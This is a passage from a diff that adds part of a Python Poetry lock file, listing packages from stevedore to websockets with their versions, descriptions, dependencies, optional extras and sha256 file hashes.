+ {file = "stevedore-5.1.0-py3-none-any.whl", hash = "sha256:8cc040628f3cea5d7128f2e76cf486b2251a4e543c7b938f58d9a377f6694a2d"},
+ {file = "stevedore-5.1.0.tar.gz", hash = "sha256:a54534acf9b89bc7ed264807013b505bf07f74dbe4bcfa37d32bd063870b087c"},
+]
+
+[package.dependencies]
+pbr = ">=2.0.0,<2.1.0 || >2.1.0"
+
+[[package]]
+name = "structlog"
+version = "23.1.0"
+description = "Structured Logging for Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "structlog-23.1.0-py3-none-any.whl", hash = "sha256:79b9e68e48b54e373441e130fa447944e6f87a05b35de23138e475c05d0f7e0e"},
+ {file = "structlog-23.1.0.tar.gz", hash = "sha256:270d681dd7d163c11ba500bc914b2472d2b50a8ef00faa999ded5ff83a2f906b"},
+]
+
+[package.extras]
+dev = ["structlog[docs,tests,typing]"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "twisted"]
+tests = ["coverage[toml]", "freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"]
+typing = ["mypy", "rich", "twisted"]
+
+[[package]]
+name = "sumy"
+version = "0.10.0"
+description = "Module for automatic summarization of text documents and HTML pages."
+optional = false
+python-versions = "*"
+files = [
+ {file = "sumy-0.10.0-py2.py3-none-any.whl", hash = "sha256:175838405044e493035920dd360a2e31a2236ddd014fc6376073a2c550973b03"},
+ {file = "sumy-0.10.0.tar.gz", hash = "sha256:77571eb1167fdde4e42bd6aa2b05d961e6667c3a1f87c117720cdc9886ab3971"},
+]
+
+[package.dependencies]
+breadability = ">=0.1.20"
+docopt = ">=0.6.1,<0.7"
+nltk = ">=3.0.2"
+pycountry = ">=18.2.23"
+requests = ">=2.7.0"
+
+[package.extras]
+chinese = ["jieba"]
+greek = ["greek-stemmer-pos"]
+hebrew = ["hebrew-tokenizer"]
+japanese = ["tinysegmenter"]
+korean = ["konlpy"]
+lexrank = ["numpy"]
+lsa = ["numpy"]
+
+[[package]]
+name = "tenacity"
+version = "8.2.2"
+description = "Retry code until it succeeds"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"},
+ {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"},
+]
+
+[package.extras]
+doc = ["reno", "sphinx", "tornado (>=4.5)"]
+
+[[package]]
+name = "texttable"
+version = "1.6.7"
+description = "module to create simple ASCII tables"
+optional = false
+python-versions = "*"
+files = [
+ {file = "texttable-1.6.7-py2.py3-none-any.whl", hash = "sha256:b7b68139aa8a6339d2c320ca8b1dc42d13a7831a346b446cb9eb385f0c76310c"},
+ {file = "texttable-1.6.7.tar.gz", hash = "sha256:290348fb67f7746931bcdfd55ac7584ecd4e5b0846ab164333f0794b121760f2"},
+]
+
+[[package]]
+name = "tqdm"
+version = "4.65.0"
+description = "Fast, Extensible Progress Meter"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "tqdm-4.65.0-py3-none-any.whl", hash = "sha256:c4f53a17fe37e132815abceec022631be8ffe1b9381c2e6e30aa70edc99e9671"},
+ {file = "tqdm-4.65.0.tar.gz", hash = "sha256:1871fb68a86b8fb3b59ca4cdd3dcccbc7e6d613eeed31f4c332531977b89beb5"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "platform_system == \"Windows\""}
+
+[package.extras]
+dev = ["py-make (>=0.1.0)", "twine", "wheel"]
+notebook = ["ipywidgets (>=6)"]
+slack = ["slack-sdk"]
+telegram = ["requests"]
+
+[[package]]
+name = "types-protobuf"
+version = "3.20.4.6"
+description = "Typing stubs for protobuf"
+optional = false
+python-versions = "*"
+files = [
+ {file = "types-protobuf-3.20.4.6.tar.gz", hash = "sha256:ba27443c592bbec1629dd69494a24c84461c63f0d3b7d648ce258aaae9680965"},
+ {file = "types_protobuf-3.20.4.6-py3-none-any.whl", hash = "sha256:ab2d315ba82246b83d28f8797c98dc0fe1dd5cfd187909e56faf87239aedaae3"},
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.7.1"
+description = "Backported and Experimental Type Hints for Python 3.7+"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"},
+ {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"},
+]
+
+[[package]]
+name = "unicodecsv"
+version = "0.14.1"
+description = "Python2's stdlib csv module is nice, but it doesn't support unicode. This module is a drop-in replacement which *does*."
+optional = false
+python-versions = "*"
+files = [
+ {file = "unicodecsv-0.14.1.tar.gz", hash = "sha256:018c08037d48649a0412063ff4eda26eaa81eff1546dbffa51fa5293276ff7fc"},
+]
+
+[[package]]
+name = "urllib3"
+version = "1.26.16"
+description = "HTTP library with thread-safe connection pooling, file post, and more."
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*"
+files = [
+ {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"},
+ {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"},
+]
+
+[package.extras]
+brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"]
+secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"]
+socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"]
+
+[[package]]
+name = "uvicorn"
+version = "0.18.3"
+description = "The lightning-fast ASGI server."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "uvicorn-0.18.3-py3-none-any.whl", hash = "sha256:0abd429ebb41e604ed8d2be6c60530de3408f250e8d2d84967d85ba9e86fe3af"},
+ {file = "uvicorn-0.18.3.tar.gz", hash = "sha256:9a66e7c42a2a95222f76ec24a4b754c158261c4696e683b9dadc72b590e0311b"},
+]
+
+[package.dependencies]
+click = ">=7.0"
+colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""}
+h11 = ">=0.8"
+httptools = {version = ">=0.4.0", optional = true, markers = "extra == \"standard\""}
+python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""}
+pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""}
+uvloop = {version = ">=0.14.0,<0.15.0 || >0.15.0,<0.15.1 || >0.15.1", optional = true, markers = "(sys_platform != \"win32\" and sys_platform != \"cygwin\") and platform_python_implementation != \"PyPy\" and extra == \"standard\""}
+watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""}
+websockets = {version = ">=10.0", optional = true, markers = "extra == \"standard\""}
+
+[package.extras]
+standard = ["colorama (>=0.4)", "httptools (>=0.4.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.0)"]
+
+[[package]]
+name = "uvloop"
+version = "0.17.0"
+description = "Fast implementation of asyncio event loop on top of libuv"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ce9f61938d7155f79d3cb2ffa663147d4a76d16e08f65e2c66b77bd41b356718"},
+ {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:68532f4349fd3900b839f588972b3392ee56042e440dd5873dfbbcd2cc67617c"},
+ {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0949caf774b9fcefc7c5756bacbbbd3fc4c05a6b7eebc7c7ad6f825b23998d6d"},
+ {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff3d00b70ce95adce264462c930fbaecb29718ba6563db354608f37e49e09024"},
+ {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a5abddb3558d3f0a78949c750644a67be31e47936042d4f6c888dd6f3c95f4aa"},
+ {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8efcadc5a0003d3a6e887ccc1fb44dec25594f117a94e3127954c05cf144d811"},
+ {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3378eb62c63bf336ae2070599e49089005771cc651c8769aaad72d1bd9385a7c"},
+ {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6aafa5a78b9e62493539456f8b646f85abc7093dd997f4976bb105537cf2635e"},
+ {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c686a47d57ca910a2572fddfe9912819880b8765e2f01dc0dd12a9bf8573e539"},
+ {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:864e1197139d651a76c81757db5eb199db8866e13acb0dfe96e6fc5d1cf45fc4"},
+ {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:2a6149e1defac0faf505406259561bc14b034cdf1d4711a3ddcdfbaa8d825a05"},
+ {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6708f30db9117f115eadc4f125c2a10c1a50d711461699a0cbfaa45b9a78e376"},
+ {file = "uvloop-0.17.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:23609ca361a7fc587031429fa25ad2ed7242941adec948f9d10c045bfecab06b"},
+ {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2deae0b0fb00a6af41fe60a675cec079615b01d68beb4cc7b722424406b126a8"},
+ {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45cea33b208971e87a31c17622e4b440cac231766ec11e5d22c76fab3bf9df62"},
+ {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:9b09e0f0ac29eee0451d71798878eae5a4e6a91aa275e114037b27f7db72702d"},
+ {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:dbbaf9da2ee98ee2531e0c780455f2841e4675ff580ecf93fe5c48fe733b5667"},
+ {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a4aee22ece20958888eedbad20e4dbb03c37533e010fb824161b4f05e641f738"},
+ {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:307958f9fc5c8bb01fad752d1345168c0abc5d62c1b72a4a8c6c06f042b45b20"},
+ {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ebeeec6a6641d0adb2ea71dcfb76017602ee2bfd8213e3fcc18d8f699c5104f"},
+ {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1436c8673c1563422213ac6907789ecb2b070f5939b9cbff9ef7113f2b531595"},
+ {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8887d675a64cfc59f4ecd34382e5b4f0ef4ae1da37ed665adba0c2badf0d6578"},
+ {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3db8de10ed684995a7f34a001f15b374c230f7655ae840964d51496e2f8a8474"},
+ {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d37dccc7ae63e61f7b96ee2e19c40f153ba6ce730d8ba4d3b4e9738c1dccc1b"},
+ {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cbbe908fda687e39afd6ea2a2f14c2c3e43f2ca88e3a11964b297822358d0e6c"},
+ {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d97672dc709fa4447ab83276f344a165075fd9f366a97b712bdd3fee05efae8"},
+ {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1e507c9ee39c61bfddd79714e4f85900656db1aec4d40c6de55648e85c2799c"},
+ {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c092a2c1e736086d59ac8e41f9c98f26bbf9b9222a76f21af9dfe949b99b2eb9"},
+ {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:30babd84706115626ea78ea5dbc7dd8d0d01a2e9f9b306d24ca4ed5796c66ded"},
+ {file = "uvloop-0.17.0.tar.gz", hash = "sha256:0ddf6baf9cf11a1a22c71487f39f15b2cf78eb5bde7e5b45fbb99e8a9d91b9e1"},
+]
+
+[package.extras]
+dev = ["Cython (>=0.29.32,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)", "pytest (>=3.6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+test = ["Cython (>=0.29.32,<0.30.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)"]
+
+[[package]]
+name = "watchdog"
+version = "3.0.0"
+description = "Filesystem events monitoring"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "watchdog-3.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:336adfc6f5cc4e037d52db31194f7581ff744b67382eb6021c868322e32eef41"},
+ {file = "watchdog-3.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a70a8dcde91be523c35b2bf96196edc5730edb347e374c7de7cd20c43ed95397"},
+ {file = "watchdog-3.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:adfdeab2da79ea2f76f87eb42a3ab1966a5313e5a69a0213a3cc06ef692b0e96"},
+ {file = "watchdog-3.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:2b57a1e730af3156d13b7fdddfc23dea6487fceca29fc75c5a868beed29177ae"},
+ {file = "watchdog-3.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:7ade88d0d778b1b222adebcc0927428f883db07017618a5e684fd03b83342bd9"},
+ {file = "watchdog-3.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7e447d172af52ad204d19982739aa2346245cc5ba6f579d16dac4bfec226d2e7"},
+ {file = "watchdog-3.0.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9fac43a7466eb73e64a9940ac9ed6369baa39b3bf221ae23493a9ec4d0022674"},
+ {file = "watchdog-3.0.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:8ae9cda41fa114e28faf86cb137d751a17ffd0316d1c34ccf2235e8a84365c7f"},
+ {file = "watchdog-3.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:25f70b4aa53bd743729c7475d7ec41093a580528b100e9a8c5b5efe8899592fc"},
+ {file = "watchdog-3.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4f94069eb16657d2c6faada4624c39464f65c05606af50bb7902e036e3219be3"},
+ {file = "watchdog-3.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7c5f84b5194c24dd573fa6472685b2a27cc5a17fe5f7b6fd40345378ca6812e3"},
+ {file = "watchdog-3.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3aa7f6a12e831ddfe78cdd4f8996af9cf334fd6346531b16cec61c3b3c0d8da0"},
+ {file = "watchdog-3.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:233b5817932685d39a7896b1090353fc8efc1ef99c9c054e46c8002561252fb8"},
+ {file = "watchdog-3.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:13bbbb462ee42ec3c5723e1205be8ced776f05b100e4737518c67c8325cf6100"},
+ {file = "watchdog-3.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:8f3ceecd20d71067c7fd4c9e832d4e22584318983cabc013dbf3f70ea95de346"},
+ {file = "watchdog-3.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c9d8c8ec7efb887333cf71e328e39cffbf771d8f8f95d308ea4125bf5f90ba64"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:0e06ab8858a76e1219e68c7573dfeba9dd1c0219476c5a44d5333b01d7e1743a"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:d00e6be486affb5781468457b21a6cbe848c33ef43f9ea4a73b4882e5f188a44"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:c07253088265c363d1ddf4b3cdb808d59a0468ecd017770ed716991620b8f77a"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:5113334cf8cf0ac8cd45e1f8309a603291b614191c9add34d33075727a967709"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:51f90f73b4697bac9c9a78394c3acbbd331ccd3655c11be1a15ae6fe289a8c83"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:ba07e92756c97e3aca0912b5cbc4e5ad802f4557212788e72a72a47ff376950d"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:d429c2430c93b7903914e4db9a966c7f2b068dd2ebdd2fa9b9ce094c7d459f33"},
+ {file = "watchdog-3.0.0-py3-none-win32.whl", hash = "sha256:3ed7c71a9dccfe838c2f0b6314ed0d9b22e77d268c67e015450a29036a81f60f"},
+ {file = "watchdog-3.0.0-py3-none-win_amd64.whl", hash = "sha256:4c9956d27be0bb08fc5f30d9d0179a855436e655f046d288e2bcc11adfae893c"},
+ {file = "watchdog-3.0.0-py3-none-win_ia64.whl", hash = "sha256:5d9f3a10e02d7371cd929b5d8f11e87d4bad890212ed3901f9b4d68767bee759"},
+ {file = "watchdog-3.0.0.tar.gz", hash = "sha256:4d98a320595da7a7c5a18fc48cb633c2e73cda78f93cac2ef42d42bf609a33f9"},
+]
+
+[package.dependencies]
+PyYAML = {version = ">=3.10", optional = true, markers = "extra == \"watchmedo\""}
+
+[package.extras]
+watchmedo = ["PyYAML (>=3.10)"]
+
+[[package]]
+name = "watchfiles"
+version = "0.19.0"
+description = "Simple, modern and high performance file watching and code reload in python."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "watchfiles-0.19.0-cp37-abi3-macosx_10_7_x86_64.whl", hash = "sha256:91633e64712df3051ca454ca7d1b976baf842d7a3640b87622b323c55f3345e7"},
+ {file = "watchfiles-0.19.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b6577b8c6c8701ba8642ea9335a129836347894b666dd1ec2226830e263909d3"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:18b28f6ad871b82df9542ff958d0c86bb0d8310bb09eb8e87d97318a3b5273af"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fac19dc9cbc34052394dbe81e149411a62e71999c0a19e1e09ce537867f95ae0"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:09ea3397aecbc81c19ed7f025e051a7387feefdb789cf768ff994c1228182fda"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c0376deac92377817e4fb8f347bf559b7d44ff556d9bc6f6208dd3f79f104aaf"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c75eff897786ee262c9f17a48886f4e98e6cfd335e011c591c305e5d083c056"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb5d45c4143c1dd60f98a16187fd123eda7248f84ef22244818c18d531a249d1"},
+ {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:79c533ff593db861ae23436541f481ec896ee3da4e5db8962429b441bbaae16e"},
+ {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:3d7d267d27aceeeaa3de0dd161a0d64f0a282264d592e335fff7958cc0cbae7c"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win32.whl", hash = "sha256:176a9a7641ec2c97b24455135d58012a5be5c6217fc4d5fef0b2b9f75dbf5154"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win_amd64.whl", hash = "sha256:945be0baa3e2440151eb3718fd8846751e8b51d8de7b884c90b17d271d34cae8"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win_arm64.whl", hash = "sha256:0089c6dc24d436b373c3c57657bf4f9a453b13767150d17284fc6162b2791911"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cae3dde0b4b2078f31527acff6f486e23abed307ba4d3932466ba7cdd5ecec79"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f3920b1285a7d3ce898e303d84791b7bf40d57b7695ad549dc04e6a44c9f120"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9afd0d69429172c796164fd7fe8e821ade9be983f51c659a38da3faaaaac44dc"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68dce92b29575dda0f8d30c11742a8e2b9b8ec768ae414b54f7453f27bdf9545"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:5569fc7f967429d4bc87e355cdfdcee6aabe4b620801e2cf5805ea245c06097c"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5471582658ea56fca122c0f0d0116a36807c63fefd6fdc92c71ca9a4491b6b48"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b538014a87f94d92f98f34d3e6d2635478e6be6423a9ea53e4dd96210065e193"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20b44221764955b1e703f012c74015306fb7e79a00c15370785f309b1ed9aa8d"},
+ {file = "watchfiles-0.19.0.tar.gz", hash = "sha256:d9b073073e048081e502b6c6b0b88714c026a1a4c890569238d04aca5f9ca74b"},
+]
+
+[package.dependencies]
+anyio = ">=3.0.0"
+
+[[package]]
+name = "websockets"
+version = "11.0.3"
+description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3ccc8a0c387629aec40f2fc9fdcb4b9d5431954f934da3eaf16cdc94f67dbfac"},
+ {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d67ac60a307f760c6e65dad586f556dde58e683fab03323221a4e530ead6f74d"},
+ {file = "websockets-11.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:84d27a4832cc1a0ee07cdcf2b0629a8a72db73f4cf6de6f0904f6661227f256f"},
+ {file = "websockets-11.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffd7dcaf744f25f82190856bc26ed81721508fc5cbf2a330751e135ff1283564"},
+ {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7622a89d696fc87af8e8d280d9b421db5133ef5b29d3f7a1ce9f1a7bf7fcfa11"},
+ {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bceab846bac555aff6427d060f2fcfff71042dba6f5fca7dc4f75cac815e57ca"},
+ {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:54c6e5b3d3a8936a4ab6870d46bdd6ec500ad62bde9e44462c32d18f1e9a8e54"},
+ {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:41f696ba95cd92dc047e46b41b26dd24518384749ed0d99bea0a941ca87404c4"},
+ {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:86d2a77fd490ae3ff6fae1c6ceaecad063d3cc2320b44377efdde79880e11526"},
+ {file = "websockets-11.0.3-cp310-cp310-win32.whl", hash = "sha256:2d903ad4419f5b472de90cd2d40384573b25da71e33519a67797de17ef849b69"},
+ {file = "websockets-11.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:1d2256283fa4b7f4c7d7d3e84dc2ece74d341bce57d5b9bf385df109c2a1a82f"},
+ {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e848f46a58b9fcf3d06061d17be388caf70ea5b8cc3466251963c8345e13f7eb"},
+ {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aa5003845cdd21ac0dc6c9bf661c5beddd01116f6eb9eb3c8e272353d45b3288"},
+ {file = "websockets-11.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b58cbf0697721120866820b89f93659abc31c1e876bf20d0b3d03cef14faf84d"},
+ {file = "websockets-11.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:660e2d9068d2bedc0912af508f30bbeb505bbbf9774d98def45f68278cea20d3"},
+ {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c1f0524f203e3bd35149f12157438f406eff2e4fb30f71221c8a5eceb3617b6b"},
+ {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:def07915168ac8f7853812cc593c71185a16216e9e4fa886358a17ed0fd9fcf6"},
+ {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b30c6590146e53149f04e85a6e4fcae068df4289e31e4aee1fdf56a0dead8f97"},
+ {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:619d9f06372b3a42bc29d0cd0354c9bb9fb39c2cbc1a9c5025b4538738dbffaf"},
+ {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:01f5567d9cf6f502d655151645d4e8b72b453413d3819d2b6f1185abc23e82dd"},
+ {file = "websockets-11.0.3-cp311-cp311-win32.whl", hash = "sha256:e1459677e5d12be8bbc7584c35b992eea142911a6236a3278b9b5ce3326f282c"},
+ {file = "websockets-11.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:e7837cb169eca3b3ae94cc5787c4fed99eef74c0ab9506756eea335e0d6f3ed8"},
+ {file = "websockets-11.0.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9f59a3c656fef341a99e3d63189852be7084c0e54b75734cde571182c087b152"},
+ {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2529338a6ff0eb0b50c7be33dc3d0e456381157a31eefc561771ee431134a97f"},
+ {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:34fd59a4ac42dff6d4681d8843217137f6bc85ed29722f2f7222bd619d15e95b"},
+ {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:332d126167ddddec94597c2365537baf9ff62dfcc9db4266f263d455f2f031cb"},
+ {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6505c1b31274723ccaf5f515c1824a4ad2f0d191cec942666b3d0f3aa4cb4007"},
